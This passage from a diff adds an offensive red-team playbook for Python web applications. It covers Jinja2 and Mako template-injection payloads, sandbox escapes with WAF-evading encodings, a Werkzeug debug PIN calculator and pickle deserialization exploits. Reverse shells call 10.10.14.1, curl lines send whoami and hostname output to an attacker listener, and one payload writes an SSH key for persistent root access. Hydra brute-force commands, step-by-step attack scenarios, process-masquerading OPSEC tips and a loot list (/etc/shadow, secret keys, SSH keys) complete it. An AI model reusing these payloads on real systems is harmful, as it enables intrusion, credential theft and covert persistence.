|
|
262
|
+
# Find index of subprocess.Popen or file class:
|
|
263
|
+
{{''.__class__.__mro__[1].__subclasses__() | join(',')}}
|
|
264
|
+
|
|
265
|
+
# After finding index (e.g., 245 for subprocess.Popen):
|
|
266
|
+
{{''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate()[0].strip()}}
|
|
267
|
+
|
|
268
|
+
# Alternative: os.popen via __builtins__
|
|
269
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
270
|
+
# request.application → Flask app object
|
|
271
|
+
# .__globals__ → module-level globals
|
|
272
|
+
# .__builtins__ → Python built-ins dict
|
|
273
|
+
# .__import__('os') → import the os module
|
|
274
|
+
# .popen('id').read() → execute command, read output
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
### 5.3 Jinja2 Sandbox Escape Techniques
|
|
278
|
+
|
|
279
|
+
```python
|
|
280
|
+
# Technique 1: Using lipsum global (Flask/Jinja2)
|
|
281
|
+
{{lipsum.__globals__["os"].popen("id").read()}}
|
|
282
|
+
# lipsum is a Jinja2 global that has access to Python globals
|
|
283
|
+
|
|
284
|
+
# Technique 2: Using url_for global
|
|
285
|
+
{{url_for.__globals__["os"].popen("id").read()}}
|
|
286
|
+
|
|
287
|
+
# Technique 3: Using get_flashed_messages
|
|
288
|
+
{{get_flashed_messages.__globals__["os"].popen("id").read()}}
|
|
289
|
+
|
|
290
|
+
# Technique 4: Using cycler (Jinja2 extension)
|
|
291
|
+
{{cycler.__init__.__globals__.os.popen("id").read()}}
|
|
292
|
+
|
|
293
|
+
# Technique 5: attr filter bypass (WAF evasion)
|
|
294
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
|
295
|
+
# \x5f = underscore — bypasses WAF rules filtering "__"
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
### 5.4 Flask Debug Console PIN Bypass
|
|
299
|
+
|
|
300
|
+
```python
|
|
301
|
+
# Flask/Werkzeug debug console is at /console
|
|
302
|
+
# Protected by PIN — can be calculated if you have RCE or LFI
|
|
303
|
+
|
|
304
|
+
# PIN calculation requires (read via LFI or partial SSTI):
|
|
305
|
+
# 1. /etc/machine-id OR /proc/sys/kernel/random/boot_id
|
|
306
|
+
# 2. MAC address from /proc/net/arp or /sys/class/net/eth0/address
|
|
307
|
+
# 3. App's __name__ and module path (from error page tracebacks)
|
|
308
|
+
|
|
309
|
+
python3 << 'EOF'
|
|
310
|
+
import hashlib
|
|
311
|
+
import itertools
|
|
312
|
+
|
|
313
|
+
# Values gathered from target
|
|
314
|
+
username = "www-data" # Process owner (from /proc/self/status or ps)
|
|
315
|
+
modname = "flask.app" # Always flask.app for Flask apps
|
|
316
|
+
appname = "wsgi_app" # Flask app object name (from error page)
|
|
317
|
+
flask_path = "/usr/local/lib/python3.9/dist-packages/flask/app.py" # From traceback
|
|
318
|
+
node_uuid = "0242ac110002" # MAC address without colons (from /proc/net/arp)
|
|
319
|
+
machine_id = "a4ecc671-3bc7-4b0c-b7b0-a7e93df44e5a" # /etc/machine-id
|
|
320
|
+
|
|
321
|
+
# Build the hash
|
|
322
|
+
h = hashlib.md5()
|
|
323
|
+
for val in [username, modname, appname, flask_path, node_uuid, machine_id]:
|
|
324
|
+
h.update(val.encode("utf-8") + b"\n")
|
|
325
|
+
|
|
326
|
+
# Generate PIN
|
|
327
|
+
num = int(h.hexdigest(), 16)
|
|
328
|
+
rv = None
|
|
329
|
+
for group_size in 5, 4, 3:
|
|
330
|
+
if len(str(num)) % group_size == 0:
|
|
331
|
+
rv = "-".join(
|
|
332
|
+
itertools.islice(iter(lambda i=iter(str(num)): "".join([next(i)] * group_size), None), None)
|
|
333
|
+
)
|
|
334
|
+
break
|
|
335
|
+
print(f"Calculated PIN: {rv}")
|
|
336
|
+
EOF
|
|
337
|
+
|
|
338
|
+
# Once you have the PIN, access the console:
|
|
339
|
+
# Navigate to: https://target.com/console
|
|
340
|
+
# Enter PIN → interactive Python REPL → execute arbitrary code
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
### 5.5 Python Pickle Deserialization RCE
|
|
344
|
+
|
|
345
|
+
```python
|
|
346
|
+
# Pickle RCE — __reduce__ method is called during deserialization
|
|
347
|
+
|
|
348
|
+
import pickle
|
|
349
|
+
import os
|
|
350
|
+
import base64
|
|
351
|
+
|
|
352
|
+
# Basic reverse shell payload
|
|
353
|
+
class ReverseShell(object):
|
|
354
|
+
def __init__(self, lhost, lport):
|
|
355
|
+
self.lhost = lhost
|
|
356
|
+
self.lport = lport
|
|
357
|
+
|
|
358
|
+
def __reduce__(self):
|
|
359
|
+
cmd = f"bash -c 'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1'"
|
|
360
|
+
return (os.system, (cmd,))
|
|
361
|
+
|
|
362
|
+
# Generate and base64-encode payload
|
|
363
|
+
payload = ReverseShell("10.10.14.1", 4444)
|
|
364
|
+
encoded = base64.b64encode(pickle.dumps(payload)).decode()
|
|
365
|
+
print(f"Payload: {encoded}")
|
|
366
|
+
|
|
367
|
+
# Delivery methods:
|
|
368
|
+
# 1. Cookie: Set-Cookie: session=<base64_payload>
|
|
369
|
+
# 2. POST body: data=<url_encoded_base64_payload>
|
|
370
|
+
# 3. File upload: upload pickle file, trigger deserialization
|
|
371
|
+
|
|
372
|
+
# Send payload
|
|
373
|
+
import requests
|
|
374
|
+
cookies = {"session": encoded}
|
|
375
|
+
r = requests.get("https://target.com/profile", cookies=cookies)
|
|
376
|
+
|
|
377
|
+
# Alternative — command execution without reverse shell (for blind scenarios)
|
|
378
|
+
class CmdExec(object):
|
|
379
|
+
def __reduce__(self):
|
|
380
|
+
return (os.popen, ("curl http://10.10.14.1:8080/$(whoami)",))
|
|
381
|
+
```
|
|
382
|
+
|
|
383
|
+
### 5.6 Django SSTI (Custom Templates)
|
|
384
|
+
|
|
385
|
+
```python
|
|
386
|
+
# Django's default template engine does NOT execute arbitrary Python
|
|
387
|
+
# However, custom tags or Jinja2 as Django's backend enables SSTI
|
|
388
|
+
|
|
389
|
+
# If Django configured with Jinja2 backend (settings.py TEMPLATES backend):
|
|
390
|
+
# Same Jinja2 payloads apply
|
|
391
|
+
|
|
392
|
+
# Django-specific: template filter injection
|
|
393
|
+
# If user input is rendered as: {{ user_input | safe }}
|
|
394
|
+
# And custom template tag calls eval():
|
|
395
|
+
|
|
396
|
+
# Django settings.py disclosure via SSTI (if Jinja2 backend):
|
|
397
|
+
{{settings.SECRET_KEY}}
|
|
398
|
+
{{settings.DATABASES}}
|
|
399
|
+
{{settings.AWS_ACCESS_KEY_ID}}
|
|
400
|
+
|
|
401
|
+
# Read Django settings via os.environ:
|
|
402
|
+
{{request.application.__globals__.__builtins__.__import__('os').environ['DJANGO_SECRET_KEY']}}
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
### 5.7 Mako Template SSTI
|
|
406
|
+
|
|
407
|
+
```python
|
|
408
|
+
# Mako uses ${} for expressions and <%> for code blocks
|
|
409
|
+
# Pyramid, some Flask apps use Mako
|
|
410
|
+
|
|
411
|
+
# Basic detection
|
|
412
|
+
${7*7} # Returns 49
|
|
413
|
+
${7*'7'} # Returns 7777777
|
|
414
|
+
|
|
415
|
+
# Direct code execution (no sandbox in Mako by default)
|
|
416
|
+
${__import__('os').popen('id').read()}
|
|
417
|
+
|
|
418
|
+
# Multi-line code block
|
|
419
|
+
<%
|
|
420
|
+
import os
|
|
421
|
+
x = os.popen('cat /etc/passwd').read()
|
|
422
|
+
%>
|
|
423
|
+
${x}
|
|
424
|
+
|
|
425
|
+
# With request context in Pyramid:
|
|
426
|
+
${request.environ}
|
|
427
|
+
```
|
|
428
|
+
|
|
429
|
+
### 5.8 eval/exec Injection
|
|
430
|
+
|
|
431
|
+
```python
|
|
432
|
+
# Grep for dangerous sinks in source code (if available):
|
|
433
|
+
# grep -r "eval(" app/ --include="*.py"
|
|
434
|
+
# grep -r "exec(" app/ --include="*.py"
|
|
435
|
+
# grep -r "compile(" app/ --include="*.py"
|
|
436
|
+
|
|
437
|
+
# Example vulnerable code:
|
|
438
|
+
# result = eval(request.args.get('expr'))
|
|
439
|
+
|
|
440
|
+
# Payload progression:
|
|
441
|
+
# Detection:
|
|
442
|
+
expr=7+7 # Returns 14
|
|
443
|
+
|
|
444
|
+
# OS command:
|
|
445
|
+
expr=__import__('os').popen('id').read()
|
|
446
|
+
|
|
447
|
+
# Reverse shell:
|
|
448
|
+
expr=__import__('os').system('bash+-c+"bash+-i+>&+/dev/tcp/10.10.14.1/4444+0>&1"')
|
|
449
|
+
|
|
450
|
+
# Bypass quote filtering:
|
|
451
|
+
expr=__import__('os').popen(chr(105)+chr(100)).read() # 'id' via chr()
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
---
|
|
455
|
+
|
|
456
|
+
## 6. Tool Commands with Flags Explained
|
|
457
|
+
|
|
458
|
+
### tplmap
|
|
459
|
+
|
|
460
|
+
```bash
|
|
461
|
+
# Basic scan
|
|
462
|
+
python3 tplmap.py -u "https://target.com/page?name=test"
|
|
463
|
+
# -u URL with injection point marked by asterisk or autodetected
|
|
464
|
+
|
|
465
|
+
# Specify injection point explicitly
|
|
466
|
+
python3 tplmap.py -u "https://target.com/page?name=test*"
|
|
467
|
+
# * Marks exact injection point within parameter value
|
|
468
|
+
|
|
469
|
+
# POST request
|
|
470
|
+
python3 tplmap.py -u "https://target.com/search" \
|
|
471
|
+
-d "query=test" \
|
|
472
|
+
-X POST
|
|
473
|
+
# -d POST data
|
|
474
|
+
# -X HTTP method
|
|
475
|
+
|
|
476
|
+
# Specify template engine (skip detection)
|
|
477
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
478
|
+
--engine Jinja2
|
|
479
|
+
# --engine Force specific engine (Jinja2, Mako, Twig, Tornado, etc.)
|
|
480
|
+
|
|
481
|
+
# Execute OS command
|
|
482
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
483
|
+
--os-cmd "cat /etc/passwd"
|
|
484
|
+
# --os-cmd Execute system command through SSTI
|
|
485
|
+
|
|
486
|
+
# Reverse shell
|
|
487
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
488
|
+
--os-shell
|
|
489
|
+
# --os-shell Interactive shell through template injection
|
|
490
|
+
|
|
491
|
+
# Bind shell
|
|
492
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
493
|
+
--bind-shell 4444
|
|
494
|
+
# --bind-shell Open bind shell on target port
|
|
495
|
+
|
|
496
|
+
# Upload file
|
|
497
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
498
|
+
--upload /tmp/shell.py /var/www/html/shell.py
|
|
499
|
+
# --upload Upload local file to remote path
|
|
500
|
+
|
|
501
|
+
# Custom headers
|
|
502
|
+
python3 tplmap.py -u "https://target.com/page" \
|
|
503
|
+
-H "X-Forwarded-For: test" \
|
|
504
|
+
-H "Authorization: Bearer TOKEN"
|
|
505
|
+
# -H Add custom headers (test headers for SSTI too)
|
|
506
|
+
|
|
507
|
+
# Through Burp proxy
|
|
508
|
+
python3 tplmap.py -u "https://target.com/page?name=test" \
|
|
509
|
+
--proxy http://127.0.0.1:8080
|
|
510
|
+
# --proxy Route through Burp/MITM proxy
|
|
511
|
+
|
|
512
|
+
# Cookies
|
|
513
|
+
python3 tplmap.py -u "https://target.com/page" \
|
|
514
|
+
--cookie "session=eyJ...; csrftoken=ABC"
|
|
515
|
+
# --cookie Include session cookies
|
|
516
|
+
```
|
|
517
|
+
|
|
518
|
+
### curl for Manual Exploitation
|
|
519
|
+
|
|
520
|
+
```bash
|
|
521
|
+
# URL-encoded SSTI payload
|
|
522
|
+
curl -G "https://target.com/page" \
|
|
523
|
+
--data-urlencode "name={{config}}" \
|
|
524
|
+
-b "sessionid=XXXX" \
|
|
525
|
+
-H "User-Agent: Mozilla/5.0" \
|
|
526
|
+
-k -s
|
|
527
|
+
# -G Send as GET request with --data as query string
|
|
528
|
+
# --data-urlencode URL-encode the value
|
|
529
|
+
# -b Cookie header
|
|
530
|
+
# -k Skip TLS verification
|
|
531
|
+
# -s Silent mode
|
|
532
|
+
|
|
533
|
+
# POST with JSON payload
|
|
534
|
+
curl -X POST "https://target.com/api/render" \
|
|
535
|
+
-H "Content-Type: application/json" \
|
|
536
|
+
-H "Authorization: Bearer TOKEN" \
|
|
537
|
+
-d '{"template": "{{7*7}}"}' \
|
|
538
|
+
-v
|
|
539
|
+
# -v Verbose — shows full request/response headers
|
|
540
|
+
|
|
541
|
+
# Follow redirects and save response
|
|
542
|
+
curl -L "https://target.com/page?name={{7*7}}" \
|
|
543
|
+
-o response.html \
|
|
544
|
+
-c cookies.txt \
|
|
545
|
+
-b cookies.txt
|
|
546
|
+
# -L Follow redirects
|
|
547
|
+
# -o Save output to file
|
|
548
|
+
# -c Save cookies to file
|
|
549
|
+
# -b Read cookies from file
|
|
550
|
+
```
|
|
551
|
+
|
|
552
|
+
### Hydra for Django Admin Brute Force
|
|
553
|
+
|
|
554
|
+
```bash
|
|
555
|
+
# Django admin login brute force
|
|
556
|
+
hydra -l admin \
|
|
557
|
+
-P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
|
|
558
|
+
target.com \
|
|
559
|
+
http-post-form \
|
|
560
|
+
"/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=STATIC_TOKEN:Please enter the correct"
|
|
561
|
+
# -l Single username
|
|
562
|
+
# -P Password wordlist
|
|
563
|
+
# http-post-form POST form attack module
|
|
564
|
+
# /path/:data:fail_string Path, form data, failure string
|
|
565
|
+
|
|
566
|
+
# With CSRF token (requires manual extraction first):
|
|
567
|
+
# 1. GET /admin/login/ → extract csrfmiddlewaretoken from HTML
|
|
568
|
+
# 2. Include static token in hydra command (valid for session)
|
|
569
|
+
# Better: use Burp Intruder for CSRF-protected forms
|
|
570
|
+
|
|
571
|
+
# Multiple usernames
|
|
572
|
+
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
|
|
573
|
+
-P /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
|
|
574
|
+
-t 4 \
|
|
575
|
+
target.com \
|
|
576
|
+
http-post-form \
|
|
577
|
+
"/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=TOKEN:errornote"
|
|
578
|
+
# -t 4 4 parallel threads (Django rate limits aggressively, keep low)
|
|
579
|
+
```
|
|
580
|
+
|
|
581
|
+
### Python Exploit Scripts
|
|
582
|
+
|
|
583
|
+
```bash
|
|
584
|
+
# Pickle payload generator
|
|
585
|
+
python3 -c "
|
|
586
|
+
import pickle, os, base64, sys
|
|
587
|
+
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
|
|
588
|
+
class E:
|
|
589
|
+
def __reduce__(self): return os.system, (cmd,)
|
|
590
|
+
print(base64.b64encode(pickle.dumps(E())).decode())
|
|
591
|
+
" "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
|
|
592
|
+
|
|
593
|
+
# Test pickle locally before sending
|
|
594
|
+
python3 -c "
|
|
595
|
+
import pickle, base64
|
|
596
|
+
payload = 'YOUR_BASE64_PAYLOAD_HERE'
|
|
597
|
+
pickle.loads(base64.b64decode(payload)) # Will execute locally for testing
|
|
598
|
+
"
|
|
599
|
+
```
|
|
600
|
+
|
|
601
|
+
---
|
|
602
|
+
|
|
603
|
+
## 7. Real-World Attack Scenarios
|
|
604
|
+
|
|
605
|
+
### Scenario 1: Flask App with SSTI in Email Template Feature
|
|
606
|
+
|
|
607
|
+
**Context:** E-commerce platform allows customers to customize order confirmation email templates. The feature uses Jinja2 and renders user-supplied template strings server-side.
|
|
608
|
+
|
|
609
|
+
**Reconnaissance:**
|
|
610
|
+
```bash
|
|
611
|
+
# Discover the feature endpoint
|
|
612
|
+
curl -s "https://shop.target.com/account/email-template" -b "session=TOKEN"
|
|
613
|
+
# Response includes textarea for template customization
|
|
614
|
+
|
|
615
|
+
# Test SSTI
|
|
616
|
+
curl -X POST "https://shop.target.com/account/email-template/preview" \
|
|
617
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
618
|
+
-b "session=TOKEN; csrftoken=CSRF" \
|
|
619
|
+
-d "template={{7*7}}&csrfmiddlewaretoken=CSRF"
|
|
620
|
+
# Response: "49" confirms SSTI
|
|
621
|
+
```
|
|
622
|
+
|
|
623
|
+
**Exploitation:**
|
|
624
|
+
```bash
|
|
625
|
+
# Step 1: Confirm RCE
|
|
626
|
+
curl -X POST "https://shop.target.com/account/email-template/preview" \
|
|
627
|
+
-b "session=TOKEN; csrftoken=CSRF" \
|
|
628
|
+
--data-urlencode "template={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" \
|
|
629
|
+
--data "csrfmiddlewaretoken=CSRF"
|
|
630
|
+
# Response: "uid=33(www-data) gid=33(www-data)"
|
|
631
|
+
|
|
632
|
+
# Step 2: Dump Flask config (SECRET_KEY for session forgery)
|
|
633
|
+
curl -X POST "https://shop.target.com/account/email-template/preview" \
|
|
634
|
+
-b "session=TOKEN; csrftoken=CSRF" \
|
|
635
|
+
--data-urlencode "template={{config}}" \
|
|
636
|
+
--data "csrfmiddlewaretoken=CSRF"
|
|
637
|
+
# Response: Config dict with SECRET_KEY exposed
|
|
638
|
+
|
|
639
|
+
# Step 3: Dump environment variables (cloud credentials)
|
|
640
|
+
PAYLOAD="{{request.application.__globals__.__builtins__.__import__('os').environ}}"
|
|
641
|
+
# Look for: AWS_ACCESS_KEY_ID, DATABASE_URL, STRIPE_SECRET_KEY
|
|
642
|
+
|
|
643
|
+
# Step 4: Reverse shell
|
|
644
|
+
PAYLOAD="{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/10.10.14.1/4444 0>&1\"').read()}}"
|
|
645
|
+
|
|
646
|
+
# Step 5: Forge admin session with SECRET_KEY
|
|
647
|
+
pip install flask-unsign
|
|
648
|
+
flask-unsign --sign --secret 'LEAKED_SECRET_KEY' \
|
|
649
|
+
--cookie '{"user_id": 1, "role": "admin"}'
|
|
650
|
+
```
|
|
651
|
+
|
|
652
|
+
**Impact:** Full RCE, session forgery, credential exposure, lateral movement to cloud infrastructure.
|
|
653
|
+
|
|
654
|
+
---
|
|
655
|
+
|
|
656
|
+
### Scenario 2: Django App Debug Mode Exposed in Production
|
|
657
|
+
|
|
658
|
+
**Context:** Django application accidentally deployed with `DEBUG=True`. Werkzeug debug console accessible at `/console`. Target is a healthcare portal.
|
|
659
|
+
|
|
660
|
+
**Reconnaissance:**
|
|
661
|
+
```bash
|
|
662
|
+
# Discover debug console
|
|
663
|
+
curl -si "https://portal.target.com/console" | head -20
|
|
664
|
+
# Response: HTTP 200, "Werkzeug Debugger" in body
|
|
665
|
+
|
|
666
|
+
# Get machine info from debug error pages to calculate PIN
|
|
667
|
+
# Trigger a deliberate 500 error
|
|
668
|
+
curl "https://portal.target.com/?x={{UNDEFINED}}"
|
|
669
|
+
# Error page reveals: Python version, app path, module structure
|
|
670
|
+
|
|
671
|
+
# Alternatively, check if LFI exists elsewhere to read system files
|
|
672
|
+
curl "https://portal.target.com/static/../../../etc/machine-id"
|
|
673
|
+
```
|
|
674
|
+
|
|
675
|
+
**PIN Calculation:**
|
|
676
|
+
```bash
|
|
677
|
+
# Gather required values from error pages and recon:
|
|
678
|
+
# - username: www-data (from error page or ps aux via LFI)
|
|
679
|
+
# - flask_path: /usr/local/lib/python3.9/site-packages/flask/app.py
|
|
680
|
+
# - MAC: from /proc/net/arp or /sys/class/net/eth0/address
|
|
681
|
+
# - machine-id: from /etc/machine-id via LFI
|
|
682
|
+
|
|
683
|
+
python3 pin_calculator.py \
|
|
684
|
+
--username www-data \
|
|
685
|
+
--flask-path /usr/local/lib/python3.9/site-packages/flask/app.py \
|
|
686
|
+
--mac 02:42:c0:a8:01:05 \
|
|
687
|
+
--machine-id "b3d29d72-5c3f-4b2e-b1a3-abc123def456"
|
|
688
|
+
# Output: Calculated PIN: 123-456-789
|
|
689
|
+
|
|
690
|
+
# Enter PIN at /console → Python REPL
|
|
691
|
+
# Execute in console:
|
|
692
|
+
import os; os.popen('cat /etc/passwd').read()
|
|
693
|
+
import subprocess; subprocess.check_output(['find', '/home', '-name', '*.py'])
|
|
694
|
+
|
|
695
|
+
# Django database dump
|
|
696
|
+
import django
|
|
697
|
+
os.environ['DJANGO_SETTINGS_MODULE'] = 'app.settings'
|
|
698
|
+
from django.contrib.auth.models import User
|
|
699
|
+
[(u.username, u.password) for u in User.objects.all()]
|
|
700
|
+
```
|
|
701
|
+
|
|
702
|
+
**Impact:** Complete server compromise, database access, user credential extraction, patient data exposure.
|
|
703
|
+
|
|
704
|
+
---
|
|
705
|
+
|
|
706
|
+
### Scenario 3: FastAPI Endpoint with Pickle Deserialization
|
|
707
|
+
|
|
708
|
+
**Context:** Internal API gateway uses Python pickle to cache user preferences in Redis. An exposed API endpoint accepts base64-encoded "preferences" parameter that gets deserialized.
|
|
709
|
+
|
|
710
|
+
**Reconnaissance:**
|
|
711
|
+
```bash
|
|
712
|
+
# Identify API structure
|
|
713
|
+
curl "https://api.target.com/docs" # FastAPI auto-generates /docs
|
|
714
|
+
curl "https://api.target.com/openapi.json" # OpenAPI spec
|
|
715
|
+
|
|
716
|
+
# Find preferences endpoint
|
|
717
|
+
curl "https://api.target.com/user/preferences" \
|
|
718
|
+
-H "Authorization: Bearer VALID_TOKEN"
|
|
719
|
+
# Response: {"preferences": "gASVA...BASE64..."}
|
|
720
|
+
# gASV is base64 of pickle magic bytes \x80\x04\x95
|
|
721
|
+
|
|
722
|
+
# Confirm pickle by decoding response
|
|
723
|
+
python3 -c "
|
|
724
|
+
import base64, pickle
|
|
725
|
+
data = 'gASVA...BASE64...'
|
|
726
|
+
prefs = pickle.loads(base64.b64decode(data))
|
|
727
|
+
print(type(prefs), prefs)
|
|
728
|
+
"
|
|
729
|
+
```
|
|
730
|
+
|
|
731
|
+
**Exploitation:**
|
|
732
|
+
```bash
|
|
733
|
+
# Step 1: Generate malicious pickle payload
|
|
734
|
+
python3 << 'EOF'
|
|
735
|
+
import pickle, os, base64
|
|
736
|
+
|
|
737
|
+
class RCE(object):
|
|
738
|
+
def __reduce__(self):
|
|
739
|
+
# Write SSH public key for persistence
|
|
740
|
+
cmd = "mkdir -p /root/.ssh && echo 'ssh-rsa AAAA...PUBKEY...' >> /root/.ssh/authorized_keys"
|
|
741
|
+
return (os.system, (cmd,))
|
|
742
|
+
|
|
743
|
+
payload = base64.b64encode(pickle.dumps(RCE())).decode()
|
|
744
|
+
print(f"Malicious payload: {payload}")
|
|
745
|
+
EOF
|
|
746
|
+
|
|
747
|
+
# Step 2: Submit malicious payload
|
|
748
|
+
curl -X PUT "https://api.target.com/user/preferences" \
|
|
749
|
+
-H "Authorization: Bearer VALID_TOKEN" \
|
|
750
|
+
-H "Content-Type: application/json" \
|
|
751
|
+
-d "{\"preferences\": \"MALICIOUS_BASE64_PAYLOAD\"}"
|
|
752
|
+
|
|
753
|
+
# Step 3: Trigger deserialization
|
|
754
|
+
curl "https://api.target.com/user/preferences" \
|
|
755
|
+
-H "Authorization: Bearer VALID_TOKEN"
|
|
756
|
+
# Server deserializes the payload → SSH key written → persistent access
|
|
757
|
+
|
|
758
|
+
# Step 4: Connect with SSH
|
|
759
|
+
ssh -i ~/.ssh/id_rsa root@api.target.com
|
|
760
|
+
|
|
761
|
+
# Alternative — reverse shell via curl exfil (blind)
|
|
762
|
+
python3 << 'EOF'
|
|
763
|
+
import pickle, os, base64
|
|
764
|
+
|
|
765
|
+
class BlindRCE(object):
|
|
766
|
+
def __reduce__(self):
|
|
767
|
+
cmd = "curl http://10.10.14.1:8080/$(cat /etc/hostname | base64 -w0)"
|
|
768
|
+
return (os.system, (cmd,))
|
|
769
|
+
|
|
770
|
+
print(base64.b64encode(pickle.dumps(BlindRCE())).decode())
|
|
771
|
+
EOF
|
|
772
|
+
# Start listener: python3 -m http.server 8080
|
|
773
|
+
# Receive request with base64-encoded hostname → confirms RCE
|
|
774
|
+
```
|
|
775
|
+
|
|
776
|
+
**Impact:** Unauthenticated RCE via authenticated API endpoint, persistent root access, supply chain risk if internal API used by other services.
|
|
777
|
+
|
|
778
|
+
---
|
|
779
|
+
|
|
780
|
+
## 8. Detection and OPSEC Considerations
|
|
781
|
+
|
|
782
|
+
### Detection Risks
|
|
783
|
+
|
|
784
|
+
```
|
|
785
|
+
HIGH DETECTION RISK:
|
|
786
|
+
- Automated tplmap scans generate distinctive HTTP patterns
|
|
787
|
+
- Failed SSTI attempts create 500 errors logged server-side
|
|
788
|
+
- Reverse shell connections appear in netflow/firewall logs
|
|
789
|
+
- Django admin brute force triggers account lockouts and WAF alerts
|
|
790
|
+
|
|
791
|
+
MEDIUM DETECTION RISK:
|
|
792
|
+
- Manual SSTI testing with math payloads ({{7*7}})
|
|
793
|
+
- Reading system files (/etc/passwd) — may trigger EDR/file audit
|
|
794
|
+
- Django admin login from unusual IP/geolocation
|
|
795
|
+
|
|
796
|
+
LOW DETECTION RISK:
|
|
797
|
+
- Initial framework fingerprinting via headers
|
|
798
|
+
- Reviewing publicly exposed /docs, /api/schema endpoints
|
|
799
|
+
```
|
|
800
|
+
|
|
801
|
+
### OPSEC Techniques
|
|
802
|
+
|
|
803
|
+
```bash
|
|
804
|
+
# 1. Route through proxy/VPN — never use direct attacker IP
|
|
805
|
+
export HTTP_PROXY="http://PROXY_IP:PORT"
|
|
806
|
+
|
|
807
|
+
# 2. Slow down requests to avoid rate limiting
|
|
808
|
+
# Use --delay in tplmap, add sleep between manual requests
|
|
809
|
+
|
|
810
|
+
# 3. Use innocuous-looking payloads first
|
|
811
|
+
# {{7*7}} is far less suspicious than __import__('os')
|
|
812
|
+
# Build up slowly: detect → confirm → exploit
|
|
813
|
+
|
|
814
|
+
# 4. Avoid noisy tools on production systems
|
|
815
|
+
# Manual curl > automated scanners during active engagements
|
|
816
|
+
|
|
817
|
+
# 5. Clean up after yourself
|
|
818
|
+
# Remove uploaded webshells, authorized_keys entries
|
|
819
|
+
# Restore original configuration if modified
|
|
820
|
+
|
|
821
|
+
# 6. Use existing process names for spawned shells
|
|
822
|
+
# Name your nc listener process to match existing services
|
|
823
|
+
bash -c 'exec -a "apache2" bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'
|
|
824
|
+
|
|
825
|
+
# 7. Encode payloads to evade WAF/IDS
|
|
826
|
+
# Base64 encode command strings:
|
|
827
|
+
python3 -c "import base64; print(base64.b64encode(b'id').decode())"
|
|
828
|
+
# Payload: {{request.application.__globals__.__builtins__.__import__('base64').b64decode('aWQ=').decode()}}
|
|
829
|
+
# Then pipe through: {{...popen(base64.b64decode('aWQ=').decode()).read()}}
|
|
830
|
+
|
|
831
|
+
# 8. WAF bypass techniques
|
|
832
|
+
# Use URL encoding: %7B%7B7*7%7D%7D
|
|
833
|
+
# Use Unicode: {{7*7}}
|
|
834
|
+
# Split payload across multiple parameters if concatenated server-side
|
|
835
|
+
# Use Jinja2 filters as alternative syntax: {{7|string}} vs {{7}}
|
|
836
|
+
```
|
|
837
|
+
|
|
838
|
+
### Indicators of Compromise (IOC) — What Blue Team Looks For
|
|
839
|
+
|
|
840
|
+
```
|
|
841
|
+
- HTTP 500 responses with Jinja2/Python tracebacks in logs
|
|
842
|
+
- Requests containing: __class__, __mro__, __subclasses__, __globals__
|
|
843
|
+
- Requests containing: popen, subprocess, os.system, __import__
|
|
844
|
+
- Unusual outbound connections from web server process
|
|
845
|
+
- New entries in /root/.ssh/authorized_keys
|
|
846
|
+
- Cron jobs or systemd services created by www-data
|
|
847
|
+
- High volume POST requests to same endpoint (brute force)
|
|
848
|
+
```
|
|
849
|
+
|
|
850
|
+
---
|
|
851
|
+
|
|
852
|
+
## 9. Output and Documentation
|
|
853
|
+
|
|
854
|
+
### Capturing Evidence
|
|
855
|
+
|
|
856
|
+
```bash
|
|
857
|
+
# All commands — save output with timestamps
|
|
858
|
+
exec > >(tee -a ~/rt-python-exploit/logs/session-$(date +%Y%m%d-%H%M%S).log) 2>&1
|
|
859
|
+
|
|
860
|
+
# Screenshot tool output
|
|
861
|
+
tplmap.py ... 2>&1 | tee ~/rt-python-exploit/logs/tplmap-$(date +%s).txt
|
|
862
|
+
|
|
863
|
+
# Save all HTTP responses
|
|
864
|
+
curl ... -D ~/rt-python-exploit/logs/headers-$(date +%s).txt \
|
|
865
|
+
-o ~/rt-python-exploit/logs/response-$(date +%s).html
|
|
866
|
+
|
|
867
|
+
# Document RCE proof
|
|
868
|
+
curl "https://target.com/page?name={{...id_payload...}}" \
|
|
869
|
+
-o ~/rt-python-exploit/loot/rce-proof-$(date +%s).txt
|
|
870
|
+
|
|
871
|
+
# Capture loot
|
|
872
|
+
# - /etc/passwd, /etc/shadow
|
|
873
|
+
# - Django SECRET_KEY
|
|
874
|
+
# - Database credentials (settings.py, DATABASE_URL env var)
|
|
875
|
+
# - API keys from environment
|
|
876
|
+
# - SSH private keys in /home/*/.ssh/
|
|
877
|
+
```
|
|
878
|
+
|
|
879
|
+
### Finding Documentation Template
|
|
880
|
+
|
|
881
|
+
```markdown
|
|
882
|
+
## Finding: Server-Side Template Injection (SSTI) → RCE
|
|
883
|
+
|
|
884
|
+
**Severity:** Critical
|
|
885
|
+
**CVSS:** 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
|
|
886
